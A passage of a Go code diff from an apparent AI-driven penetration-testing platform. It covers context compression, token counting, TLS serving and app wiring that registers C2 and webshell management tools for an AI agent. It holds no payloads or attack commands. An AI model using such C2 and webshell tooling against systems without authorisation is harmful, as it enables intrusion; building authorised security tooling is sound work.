zap.Int("effective_max", effectiveMax),
|
||||
zap.Int("system_messages", len(systemMsgs)),
|
||||
zap.Int("regular_messages", len(regularMsgs)),
|
||||
zap.Int("old_messages", len(oldMsgs)),
|
||||
zap.Int("recent_messages", len(recentMsgs)))
|
||||
|
||||
var compressed []ChatMessage
|
||||
for i := 0; i < len(oldMsgs); i += mc.chunkSize {
|
||||
end := i + mc.chunkSize
|
||||
if end > len(oldMsgs) {
|
||||
end = len(oldMsgs)
|
||||
}
|
||||
chunk := oldMsgs[i:end]
|
||||
if len(chunk) == 0 {
|
||||
continue
|
||||
}
|
||||
summary, err := mc.summarizeChunk(ctx, chunk)
|
||||
if err != nil {
|
||||
mc.logger.Warn("chunk summary failed, fallback to raw chunk",
|
||||
zap.Error(err),
|
||||
zap.Int("start", i),
|
||||
zap.Int("end", end))
|
||||
compressed = append(compressed, chunk...)
|
||||
continue
|
||||
}
|
||||
compressed = append(compressed, summary)
|
||||
}
|
||||
|
||||
finalMessages := make([]ChatMessage, 0, len(systemMsgs)+len(compressed)+len(recentMsgs))
|
||||
finalMessages = append(finalMessages, systemMsgs...)
|
||||
finalMessages = append(finalMessages, compressed...)
|
||||
finalMessages = append(finalMessages, recentMsgs...)
|
||||
|
||||
return finalMessages, true, nil
|
||||
}
|
||||
|
||||
func (mc *MemoryCompressor) handleImages(messages []ChatMessage) {
|
||||
if mc.maxImages <= 0 {
|
||||
return
|
||||
}
|
||||
count := 0
|
||||
for i := len(messages) - 1; i >= 0; i-- {
|
||||
content := messages[i].Content
|
||||
if !strings.Contains(content, "[IMAGE]") {
|
||||
continue
|
||||
}
|
||||
count++
|
||||
if count > mc.maxImages {
|
||||
messages[i].Content = "[Previously attached image removed to preserve context]"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (mc *MemoryCompressor) splitMessages(messages []ChatMessage) (systemMsgs, regularMsgs []ChatMessage) {
|
||||
for _, msg := range messages {
|
||||
if strings.EqualFold(msg.Role, "system") {
|
||||
systemMsgs = append(systemMsgs, msg)
|
||||
} else {
|
||||
regularMsgs = append(regularMsgs, msg)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (mc *MemoryCompressor) countTotalTokens(systemMsgs, regularMsgs []ChatMessage) int {
|
||||
total := 0
|
||||
for _, msg := range systemMsgs {
|
||||
total += mc.countTokens(msg.Content)
|
||||
}
|
||||
for _, msg := range regularMsgs {
|
||||
total += mc.countTokens(msg.Content)
|
||||
}
|
||||
return total
|
||||
}
|
||||
|
||||
// getModelName 获取当前使用的模型名称(优先从completionClient获取最新配置)
|
||||
func (mc *MemoryCompressor) getModelName() string {
|
||||
// 如果completionClient是OpenAICompletionClient,从它获取最新的模型名称
|
||||
if openAIClient, ok := mc.completionClient.(*OpenAICompletionClient); ok {
|
||||
if openAIClient.config != nil && openAIClient.config.Model != "" {
|
||||
return openAIClient.config.Model
|
||||
}
|
||||
}
|
||||
// 否则使用保存的summaryModel
|
||||
return mc.summaryModel
|
||||
}
|
||||
|
||||
func (mc *MemoryCompressor) countTokens(text string) int {
|
||||
if mc.tokenCounter == nil {
|
||||
return len(text) / 4
|
||||
}
|
||||
modelName := mc.getModelName()
|
||||
count, err := mc.tokenCounter.Count(modelName, text)
|
||||
if err != nil {
|
||||
return len(text) / 4
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
// CountTextTokens 对外暴露的文本 Token 计数,用于统计 tools 等非消息内容的 token(如 agent 侧序列化 tools 后计数)。
|
||||
func (mc *MemoryCompressor) CountTextTokens(text string) int {
|
||||
return mc.countTokens(text)
|
||||
}
|
||||
|
||||
// totalTokensFor provides token statistics without mutating the message list.
|
||||
func (mc *MemoryCompressor) totalTokensFor(messages []ChatMessage) (totalTokens int, systemCount int, regularCount int) {
|
||||
if len(messages) == 0 {
|
||||
return 0, 0, 0
|
||||
}
|
||||
systemMsgs, regularMsgs := mc.splitMessages(messages)
|
||||
return mc.countTotalTokens(systemMsgs, regularMsgs), len(systemMsgs), len(regularMsgs)
|
||||
}
|
||||
|
||||
func (mc *MemoryCompressor) summarizeChunk(ctx context.Context, chunk []ChatMessage) (ChatMessage, error) {
|
||||
if len(chunk) == 0 {
|
||||
return ChatMessage{}, errors.New("chunk is empty")
|
||||
}
|
||||
formatted := make([]string, 0, len(chunk))
|
||||
for _, msg := range chunk {
|
||||
formatted = append(formatted, fmt.Sprintf("%s: %s", msg.Role, mc.extractMessageText(msg)))
|
||||
}
|
||||
conversation := strings.Join(formatted, "\n")
|
||||
prompt := fmt.Sprintf(summaryPromptTemplate, conversation)
|
||||
|
||||
// 使用动态获取的模型名称,而不是保存的summaryModel
|
||||
modelName := mc.getModelName()
|
||||
summary, err := mc.completionClient.Complete(ctx, modelName, prompt, mc.timeout)
|
||||
if err != nil {
|
||||
return ChatMessage{}, err
|
||||
}
|
||||
summary = strings.TrimSpace(summary)
|
||||
if summary == "" {
|
||||
return chunk[0], nil
|
||||
}
|
||||
|
||||
return ChatMessage{
|
||||
Role: "assistant",
|
||||
Content: fmt.Sprintf("<context_summary message_count='%d'>%s</context_summary>", len(chunk), summary),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (mc *MemoryCompressor) extractMessageText(msg ChatMessage) string {
|
||||
return msg.Content
|
||||
}
|
||||
|
||||
func (mc *MemoryCompressor) adjustRecentStartForToolCalls(msgs []ChatMessage, recentStart int) int {
|
||||
if recentStart <= 0 || recentStart >= len(msgs) {
|
||||
return recentStart
|
||||
}
|
||||
|
||||
adjusted := recentStart
|
||||
for adjusted > 0 && strings.EqualFold(msgs[adjusted].Role, "tool") {
|
||||
adjusted--
|
||||
}
|
||||
|
||||
if adjusted != recentStart {
|
||||
mc.logger.Debug("adjusted recent window to keep tool call context",
|
||||
zap.Int("original_recent_start", recentStart),
|
||||
zap.Int("adjusted_recent_start", adjusted),
|
||||
)
|
||||
}
|
||||
|
||||
return adjusted
|
||||
}
|
||||
|
||||
// TokenCounter 用于计算文本Token数量。
|
||||
type TokenCounter interface {
|
||||
Count(model, text string) (int, error)
|
||||
}
|
||||
|
||||
// TikTokenCounter 基于 tiktoken 的 Token 统计器。
|
||||
type TikTokenCounter struct {
|
||||
mu sync.RWMutex
|
||||
cache map[string]*tiktoken.Tiktoken
|
||||
fallbackEncoding *tiktoken.Tiktoken
|
||||
}
|
||||
|
||||
// NewTikTokenCounter 创建新的 TikTokenCounter。
|
||||
func NewTikTokenCounter() *TikTokenCounter {
|
||||
return &TikTokenCounter{
|
||||
cache: make(map[string]*tiktoken.Tiktoken),
|
||||
}
|
||||
}
|
||||
|
||||
// Count 实现 TokenCounter 接口。
|
||||
func (tc *TikTokenCounter) Count(model, text string) (int, error) {
|
||||
enc, err := tc.encodingForModel(model)
|
||||
if err != nil {
|
||||
return len(text) / 4, err
|
||||
}
|
||||
tokens := enc.Encode(text, nil, nil)
|
||||
return len(tokens), nil
|
||||
}
|
||||
|
||||
func (tc *TikTokenCounter) encodingForModel(model string) (*tiktoken.Tiktoken, error) {
|
||||
tc.mu.RLock()
|
||||
if enc, ok := tc.cache[model]; ok {
|
||||
tc.mu.RUnlock()
|
||||
return enc, nil
|
||||
}
|
||||
tc.mu.RUnlock()
|
||||
|
||||
tc.mu.Lock()
|
||||
defer tc.mu.Unlock()
|
||||
|
||||
if enc, ok := tc.cache[model]; ok {
|
||||
return enc, nil
|
||||
}
|
||||
|
||||
enc, err := tiktoken.EncodingForModel(model)
|
||||
if err != nil {
|
||||
if tc.fallbackEncoding == nil {
|
||||
tc.fallbackEncoding, err = tiktoken.GetEncoding("cl100k_base")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
tc.cache[model] = tc.fallbackEncoding
|
||||
return tc.fallbackEncoding, nil
|
||||
}
|
||||
|
||||
tc.cache[model] = enc
|
||||
return enc, nil
|
||||
}
|
||||
|
||||
// CompletionClient 对话压缩时使用的补全接口。
|
||||
type CompletionClient interface {
|
||||
Complete(ctx context.Context, model string, prompt string, timeout time.Duration) (string, error)
|
||||
}
|
||||
|
||||
// OpenAICompletionClient 基于 OpenAI Chat Completion。
|
||||
type OpenAICompletionClient struct {
|
||||
config *config.OpenAIConfig
|
||||
client *openai.Client
|
||||
logger *zap.Logger
|
||||
}
|
||||
|
||||
// NewOpenAICompletionClient 创建 OpenAICompletionClient。
|
||||
func NewOpenAICompletionClient(cfg *config.OpenAIConfig, client *http.Client, logger *zap.Logger) *OpenAICompletionClient {
|
||||
if logger == nil {
|
||||
logger = zap.NewNop()
|
||||
}
|
||||
return &OpenAICompletionClient{
|
||||
config: cfg,
|
||||
client: openai.NewClient(cfg, client, logger),
|
||||
logger: logger,
|
||||
}
|
||||
}
|
||||
|
||||
// UpdateConfig 更新底层配置。
|
||||
func (c *OpenAICompletionClient) UpdateConfig(cfg *config.OpenAIConfig) {
|
||||
c.config = cfg
|
||||
if c.client != nil {
|
||||
c.client.UpdateConfig(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
// Complete 调用OpenAI获取摘要。
|
||||
func (c *OpenAICompletionClient) Complete(ctx context.Context, model string, prompt string, timeout time.Duration) (string, error) {
|
||||
if c.config == nil {
|
||||
return "", errors.New("openai config is required")
|
||||
}
|
||||
if model == "" {
|
||||
return "", errors.New("model name is required")
|
||||
}
|
||||
|
||||
reqBody := OpenAIRequest{
|
||||
Model: model,
|
||||
Messages: []ChatMessage{
|
||||
{Role: "user", Content: prompt},
|
||||
},
|
||||
}
|
||||
|
||||
requestCtx := ctx
|
||||
var cancel context.CancelFunc
|
||||
if timeout > 0 {
|
||||
requestCtx, cancel = context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
}
|
||||
|
||||
var completion OpenAIResponse
|
||||
if c.client == nil {
|
||||
return "", errors.New("openai completion client not initialized")
|
||||
}
|
||||
if err := c.client.ChatCompletion(requestCtx, reqBody, &completion); err != nil {
|
||||
if apiErr, ok := err.(*openai.APIError); ok {
|
||||
return "", fmt.Errorf("openai completion failed, status: %d, body: %s", apiErr.StatusCode, apiErr.Body)
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
if completion.Error != nil {
|
||||
return "", errors.New(completion.Error.Message)
|
||||
}
|
||||
|
||||
if len(completion.Choices) == 0 || completion.Choices[0].Message.Content == "" {
|
||||
return "", errors.New("empty completion response")
|
||||
}
|
||||
return completion.Choices[0].Message.Content, nil
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"github.com/pkoukk/tiktoken-go"
|
||||
)
|
||||
|
||||
// TokenCounter 估算文本 token 数(tiktoken;模型未知时回退 cl100k_base)。
|
||||
type TokenCounter interface {
|
||||
Count(model, text string) (int, error)
|
||||
}
|
||||
|
||||
type tikTokenCounter struct {
|
||||
mu sync.Mutex
|
||||
cache map[string]*tiktoken.Tiktoken
|
||||
}
|
||||
|
||||
// NewTikTokenCounter 创建基于 tiktoken 的 TokenCounter。
|
||||
func NewTikTokenCounter() TokenCounter {
|
||||
return &tikTokenCounter{cache: make(map[string]*tiktoken.Tiktoken)}
|
||||
}
|
||||
|
||||
func (c *tikTokenCounter) encoding(model string) (*tiktoken.Tiktoken, error) {
|
||||
key := model
|
||||
if key == "" {
|
||||
key = "cl100k_base"
|
||||
}
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if enc, ok := c.cache[key]; ok {
|
||||
return enc, nil
|
||||
}
|
||||
enc, err := tiktoken.EncodingForModel(key)
|
||||
if err != nil {
|
||||
enc, err = tiktoken.GetEncoding("cl100k_base")
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.cache[key] = enc
|
||||
return enc, nil
|
||||
}
|
||||
|
||||
func (c *tikTokenCounter) Count(model, text string) (int, error) {
|
||||
if text == "" {
|
||||
return 0, nil
|
||||
}
|
||||
enc, err := c.encoding(model)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return len(enc.Encode(text, nil, nil)), nil
|
||||
}
|
||||
+242
-208
@@ -3,8 +3,10 @@ package app
|
||||
import (
|
||||
"context"
|
||||
"crypto/subtle"
|
||||
"crypto/tls"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -13,8 +15,11 @@ import (
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/audit"
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/einoobserve"
|
||||
"cyberstrike-ai/internal/handler"
|
||||
"cyberstrike-ai/internal/knowledge"
|
||||
"cyberstrike-ai/internal/logger"
|
||||
@@ -28,6 +33,7 @@ import (
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
"golang.org/x/net/http2"
|
||||
)
|
||||
|
||||
// App 应用
|
||||
@@ -51,10 +57,16 @@ type App struct {
|
||||
robotMu sync.Mutex // 保护钉钉/飞书长连接的 cancel
|
||||
dingCancel context.CancelFunc // 钉钉 Stream 取消函数,用于配置变更时重启
|
||||
larkCancel context.CancelFunc // 飞书长连接取消函数,用于配置变更时重启
|
||||
wechatCancel context.CancelFunc // 微信 iLink 长轮询取消函数
|
||||
c2Manager *c2.Manager // C2 管理器(未启用 C2 时为 nil)
|
||||
c2Watchdog *c2.SessionWatchdog // C2 会话看门狗
|
||||
c2WatchdogCancel context.CancelFunc // 看门狗取消函数
|
||||
c2Handler *handler.C2Handler // C2 REST(与 Manager 生命周期同步)
|
||||
auditSvc *audit.Service
|
||||
}
|
||||
|
||||
// New 创建新应用
|
||||
func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error) {
|
||||
gin.SetMode(gin.ReleaseMode)
|
||||
router := gin.Default()
|
||||
|
||||
@@ -83,8 +95,14 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
return nil, fmt.Errorf("初始化数据库失败: %w", err)
|
||||
}
|
||||
|
||||
auditSvc := audit.NewService(db, cfg, log.Logger)
|
||||
audit.RegisterConversationCreateHook(auditSvc)
|
||||
auditSvc.PurgeExpired()
|
||||
audit.StartRetentionLoop(auditSvc, log.Logger)
|
||||
|
||||
// 创建MCP服务器(带数据库持久化)
|
||||
mcpServer := mcp.NewServerWithStorage(log.Logger, db)
|
||||
mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(cfg.Agent.ToolTimeoutMinutes)
|
||||
|
||||
// 创建安全工具执行器
|
||||
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
|
||||
@@ -93,7 +111,9 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
executor.RegisterTools(mcpServer)
|
||||
|
||||
// 注册漏洞记录工具
|
||||
registerVulnerabilityTool(mcpServer, db, log.Logger)
|
||||
registerVulnerabilityTools(mcpServer, db, log.Logger)
|
||||
registerProjectFactTools(mcpServer, db, cfg, log.Logger)
|
||||
registerVisionTools(mcpServer, cfg, log.Logger)
|
||||
|
||||
if cfg.Auth.GeneratedPassword != "" {
|
||||
config.PrintGeneratedPasswordWarning(cfg.Auth.GeneratedPassword, cfg.Auth.GeneratedPasswordPersisted, cfg.Auth.GeneratedPasswordPersistErr)
|
||||
@@ -211,6 +231,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
|
||||
// 创建知识库API处理器
|
||||
knowledgeHandler = handler.NewKnowledgeHandler(knowledgeManager, knowledgeRetriever, knowledgeIndexer, db, log.Logger)
|
||||
knowledgeHandler.SetAudit(auditSvc)
|
||||
log.Logger.Info("知识库模块初始化完成", zap.Bool("handler_created", knowledgeHandler != nil))
|
||||
|
||||
// 扫描知识库并建立索引(异步)
|
||||
@@ -285,10 +306,10 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
}()
|
||||
}
|
||||
|
||||
// 获取配置文件路径
|
||||
configPath := "config.yaml"
|
||||
if len(os.Args) > 1 {
|
||||
configPath = os.Args[1]
|
||||
// 配置文件路径必须由入口传入(与 flag -config 一致)。勿再用 os.Args[1],否则 ./cyberstrike-ai --https 会把 --https 当成路径。
|
||||
configPath = strings.TrimSpace(configPath)
|
||||
if configPath == "" {
|
||||
configPath = "config.yaml"
|
||||
}
|
||||
|
||||
skillsDir := skillpackage.SkillsRootFromConfig(cfg.SkillsDir, configPath)
|
||||
@@ -307,39 +328,63 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
log.Logger.Warn("创建 agents 目录失败", zap.String("path", agentsDir), zap.Error(err))
|
||||
}
|
||||
markdownAgentsHandler := handler.NewMarkdownAgentsHandler(agentsDir)
|
||||
markdownAgentsHandler.SetAudit(auditSvc)
|
||||
log.Logger.Info("多代理 Markdown 子 Agent 目录", zap.String("agentsDir", agentsDir))
|
||||
|
||||
// 创建处理器
|
||||
agentHandler := handler.NewAgentHandler(agent, db, cfg, log.Logger)
|
||||
agentHandler.SetAudit(auditSvc)
|
||||
agentHandler.SetAgentsMarkdownDir(agentsDir)
|
||||
// 如果知识库已启用,设置知识库管理器到AgentHandler以便记录检索日志
|
||||
if knowledgeManager != nil {
|
||||
agentHandler.SetKnowledgeManager(knowledgeManager)
|
||||
}
|
||||
monitorHandler := handler.NewMonitorHandler(mcpServer, executor, db, log.Logger)
|
||||
monitorHandler.SetAudit(auditSvc)
|
||||
monitorHandler.SetExternalMCPManager(externalMCPMgr) // 设置外部MCP管理器,以便获取外部MCP执行记录
|
||||
notificationHandler := handler.NewNotificationHandler(db, agentHandler, log.Logger)
|
||||
groupHandler := handler.NewGroupHandler(db, log.Logger)
|
||||
authHandler := handler.NewAuthHandler(authManager, cfg, configPath, log.Logger)
|
||||
authHandler.SetAudit(auditSvc)
|
||||
attackChainHandler := handler.NewAttackChainHandler(db, &cfg.OpenAI, log.Logger)
|
||||
vulnerabilityHandler := handler.NewVulnerabilityHandler(db, log.Logger)
|
||||
projectHandler := handler.NewProjectHandler(db, log.Logger)
|
||||
vulnerabilityHandler.SetAudit(auditSvc)
|
||||
webshellHandler := handler.NewWebShellHandler(log.Logger, db)
|
||||
webshellHandler.SetAudit(auditSvc)
|
||||
chatUploadsHandler := handler.NewChatUploadsHandler(log.Logger)
|
||||
chatUploadsHandler.SetAudit(auditSvc)
|
||||
registerWebshellTools(mcpServer, db, webshellHandler, log.Logger)
|
||||
registerWebshellManagementTools(mcpServer, db, webshellHandler, log.Logger)
|
||||
configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger)
|
||||
configHandler.SetAudit(auditSvc)
|
||||
agentHandler.SetHitlToolWhitelistSaver(configHandler)
|
||||
externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger)
|
||||
externalMCPHandler.SetAudit(auditSvc)
|
||||
roleHandler := handler.NewRoleHandler(cfg, configPath, log.Logger)
|
||||
roleHandler.SetAudit(auditSvc)
|
||||
skillsHandler := handler.NewSkillsHandler(cfg, configPath, log.Logger)
|
||||
skillsHandler.SetAudit(auditSvc)
|
||||
fofaHandler := handler.NewFofaHandler(cfg, log.Logger)
|
||||
terminalHandler := handler.NewTerminalHandler(log.Logger)
|
||||
if db != nil {
|
||||
skillsHandler.SetDB(db) // 设置数据库连接以便获取调用统计
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 初始化 C2 模块(可按配置关闭,节省本机部署资源)
|
||||
// ============================================================================
|
||||
c2Manager, c2Watchdog, watchdogCancel := setupC2Runtime(cfg, db, agentHandler, log.Logger)
|
||||
if c2Manager != nil {
|
||||
registerC2Tools(mcpServer, c2Manager, log.Logger, cfg.Server.Port)
|
||||
}
|
||||
c2Handler := handler.NewC2Handler(c2Manager, log.Logger)
|
||||
c2Handler.SetAudit(auditSvc)
|
||||
|
||||
// 创建OpenAPI处理器
|
||||
conversationHandler := handler.NewConversationHandler(db, log.Logger)
|
||||
conversationHandler.SetAudit(auditSvc)
|
||||
auditHandler := handler.NewAuditHandler(db, auditSvc, log.Logger)
|
||||
robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
|
||||
openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, resultStorage, conversationHandler, agentHandler)
|
||||
|
||||
@@ -361,13 +406,20 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
knowledgeHandler: knowledgeHandler,
|
||||
agentHandler: agentHandler,
|
||||
robotHandler: robotHandler,
|
||||
c2Manager: c2Manager,
|
||||
c2Watchdog: c2Watchdog,
|
||||
c2WatchdogCancel: watchdogCancel,
|
||||
c2Handler: c2Handler,
|
||||
auditSvc: auditSvc,
|
||||
}
|
||||
// 飞书/钉钉长连接(无需公网),启用时在后台启动;后续前端应用配置时会通过 RestartRobotConnections 重启
|
||||
app.startRobotConnections()
|
||||
|
||||
// 设置漏洞工具注册器(内置工具,必须设置)
|
||||
vulnerabilityRegistrar := func() error {
|
||||
registerVulnerabilityTool(mcpServer, db, log.Logger)
|
||||
registerVulnerabilityTools(mcpServer, db, log.Logger)
|
||||
registerProjectFactTools(mcpServer, db, cfg, log.Logger)
|
||||
registerVisionTools(mcpServer, cfg, log.Logger)
|
||||
return nil
|
||||
}
|
||||
configHandler.SetVulnerabilityToolRegistrar(vulnerabilityRegistrar)
|
||||
@@ -426,9 +478,19 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
configHandler.SetRetrieverUpdater(knowledgeRetriever)
|
||||
}
|
||||
|
||||
// 设置机器人连接重启器,前端应用配置后无需重启服务即可使钉钉/飞书新配置生效
|
||||
// 设置机器人连接重启器,前端应用配置后无需重启服务即可使钉钉/飞书/微信新配置生效
|
||||
configHandler.SetRobotRestarter(app)
|
||||
|
||||
wechatRobotHandler := handler.NewWechatRobotHandler(cfg, configHandler, log.Logger)
|
||||
|
||||
configHandler.SetC2Runtime(app)
|
||||
configHandler.SetC2ToolRegistrar(func() error {
|
||||
if app.config.C2.EnabledEffective() && app.c2Manager != nil {
|
||||
registerC2Tools(mcpServer, app.c2Manager, log.Logger, app.config.Server.Port)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
// 设置路由(使用 App 实例以便动态获取 handler)
|
||||
setupRoutes(
|
||||
router,
|
||||
@@ -438,12 +500,14 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
notificationHandler,
|
||||
conversationHandler,
|
||||
robotHandler,
|
||||
wechatRobotHandler,
|
||||
groupHandler,
|
||||
configHandler,
|
||||
externalMCPHandler,
|
||||
attackChainHandler,
|
||||
app, // 传递 App 实例以便动态获取 knowledgeHandler
|
||||
vulnerabilityHandler,
|
||||
projectHandler,
|
||||
webshellHandler,
|
||||
chatUploadsHandler,
|
||||
roleHandler,
|
||||
@@ -451,6 +515,8 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
markdownAgentsHandler,
|
||||
fofaHandler,
|
||||
terminalHandler,
|
||||
app.c2Handler,
|
||||
auditHandler,
|
||||
mcpServer,
|
||||
authManager,
|
||||
openAPIHandler,
|
||||
@@ -501,18 +567,49 @@ func (a *App) RunWithContext(ctx context.Context) error {
|
||||
}()
|
||||
}
|
||||
|
||||
// 启动主服务器
|
||||
// 启动主服务器(可选 HTTPS + HTTP/2,见 config server.tls_*)
|
||||
addr := fmt.Sprintf("%s:%d", a.config.Server.Host, a.config.Server.Port)
|
||||
a.logger.Info("启动HTTP服务器", zap.String("address", addr))
|
||||
tlsMode, tlsConf, certFile, keyFile, tlsErr := prepareMainServerTLS(&a.config.Server)
|
||||
if tlsErr != nil {
|
||||
return tlsErr
|
||||
}
|
||||
|
||||
srv := &http.Server{Addr: addr, Handler: a.router}
|
||||
var mainMux *mainServerMux
|
||||
httpRedirect := config.ServerHTTPRedirectEnabled(&a.config.Server)
|
||||
if tlsMode != mainTLSOff {
|
||||
srv.TLSConfig = tlsConf
|
||||
if err := http2.ConfigureServer(srv, &http2.Server{}); err != nil {
|
||||
return fmt.Errorf("主服务 HTTP/2 配置失败: %w", err)
|
||||
}
|
||||
switch tlsMode {
|
||||
case mainTLSFromFiles:
|
||||
a.logger.Info("启动 HTTPS 主服务(已启用 HTTP/2 协商)",
|
||||
zap.String("address", addr),
|
||||
zap.String("cert", certFile),
|
||||
)
|
||||
case mainTLSInMemorySelfSigned:
|
||||
a.logger.Info("启动 HTTPS 主服务(内存自签证书,仅测试;已启用 HTTP/2 协商)",
|
||||
zap.String("address", addr),
|
||||
)
|
||||
}
|
||||
if httpRedirect {
|
||||
a.logger.Info("已启用 HTTP→HTTPS 自动跳转(同端口嗅探分流)", zap.String("address", addr))
|
||||
}
|
||||
} else {
|
||||
a.logger.Info("启动 HTTP 主服务", zap.String("address", addr))
|
||||
}
|
||||
|
||||
// 监听 context 取消,优雅关闭 HTTP 服务器
|
||||
go func() {
|
||||
<-ctx.Done()
|
||||
shutdownCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
if err := srv.Shutdown(shutdownCtx); err != nil {
|
||||
if mainMux != nil {
|
||||
if err := mainMux.Shutdown(shutdownCtx); err != nil {
|
||||
a.logger.Error("HTTP/HTTPS 分流服务器关闭失败", zap.Error(err))
|
||||
}
|
||||
} else if err := srv.Shutdown(shutdownCtx); err != nil {
|
||||
a.logger.Error("HTTP服务器关闭失败", zap.Error(err))
|
||||
}
|
||||
if mcpServer != nil {
|
||||
@@ -522,7 +619,36 @@ func (a *App) RunWithContext(ctx context.Context) error {
|
||||
}
|
||||
}()
|
||||
|
||||
if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
||||
var err error
|
||||
switch {
|
||||
case tlsMode != mainTLSOff && httpRedirect:
|
||||
var tlsConfReady *tls.Config
|
||||
tlsConfReady, err = ensureMainTLSConfigCerts(tlsMode, tlsConf, certFile, keyFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("加载 TLS 证书: %w", err)
|
||||
}
|
||||
srv.TLSConfig = tlsConfReady
|
||||
var ln net.Listener
|
||||
ln, err = net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
mainMux = newMainServerMux(ln, srv, portFromListenAddr(addr), a.logger.Logger)
|
||||
err = mainMux.Serve()
|
||||
case tlsMode == mainTLSOff:
|
||||
err = srv.ListenAndServe()
|
||||
case tlsMode == mainTLSFromFiles:
|
||||
err = srv.ListenAndServeTLS(certFile, keyFile)
|
||||
case tlsMode == mainTLSInMemorySelfSigned:
|
||||
var ln net.Listener
|
||||
ln, err = tls.Listen("tcp", addr, srv.TLSConfig)
|
||||
if err == nil {
|
||||
err = srv.Serve(ln)
|
||||
}
|
||||
default:
|
||||
err = srv.ListenAndServe()
|
||||
}
|
||||
if err != nil && err != http.ErrServerClosed {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
@@ -530,6 +656,10 @@ func (a *App) RunWithContext(ctx context.Context) error {
|
||||
|
||||
// Shutdown 关闭应用
|
||||
func (a *App) Shutdown() {
|
||||
shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
_ = einoobserve.ShutdownOtel(shutdownCtx)
|
||||
shutdownCancel()
|
||||
|
||||
// 停止钉钉/飞书长连接
|
||||
a.robotMu.Lock()
|
||||
if a.dingCancel != nil {
|
||||
@@ -542,6 +672,8 @@ func (a *App) Shutdown() {
|
||||
}
|
||||
a.robotMu.Unlock()
|
||||
|
||||
a.shutdownC2()
|
||||
|
||||
// 停止所有外部MCP客户端
|
||||
if a.externalMCPMgr != nil {
|
||||
a.externalMCPMgr.StopAll()
|
||||
@@ -570,16 +702,21 @@ func (a *App) startRobotConnections() {
|
||||
if cfg.Robots.Lark.Enabled && cfg.Robots.Lark.AppID != "" && cfg.Robots.Lark.AppSecret != "" {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
a.larkCancel = cancel
|
||||
go robot.StartLark(ctx, cfg.Robots.Lark, a.robotHandler, a.logger.Logger)
|
||||
go robot.StartLark(ctx, cfg.Robots, a.robotHandler, a.logger.Logger)
|
||||
}
|
||||
if cfg.Robots.Dingtalk.Enabled && cfg.Robots.Dingtalk.ClientID != "" && cfg.Robots.Dingtalk.ClientSecret != "" {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
a.dingCancel = cancel
|
||||
go robot.StartDing(ctx, cfg.Robots.Dingtalk, a.robotHandler, a.logger.Logger)
|
||||
go robot.StartDing(ctx, cfg.Robots, a.robotHandler, a.logger.Logger)
|
||||
}
|
||||
if cfg.Robots.Wechat.Enabled && cfg.Robots.Wechat.BotToken != "" {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
a.wechatCancel = cancel
|
||||
go robot.StartWechat(ctx, cfg.Robots, a.robotHandler, cfg.Version, a.logger.Logger)
|
||||
}
|
||||
}
|
||||
|
||||
// RestartRobotConnections 重启钉钉/飞书长连接,使前端应用配置后立即生效(实现 handler.RobotRestarter)
|
||||
// RestartRobotConnections 重启钉钉/飞书/微信长连接,使前端应用配置后立即生效(实现 handler.RobotRestarter)
|
||||
func (a *App) RestartRobotConnections() {
|
||||
a.robotMu.Lock()
|
||||
if a.dingCancel != nil {
|
||||
@@ -590,6 +727,10 @@ func (a *App) RestartRobotConnections() {
|
||||
a.larkCancel()
|
||||
a.larkCancel = nil
|
||||
}
|
||||
if a.wechatCancel != nil {
|
||||
a.wechatCancel()
|
||||
a.wechatCancel = nil
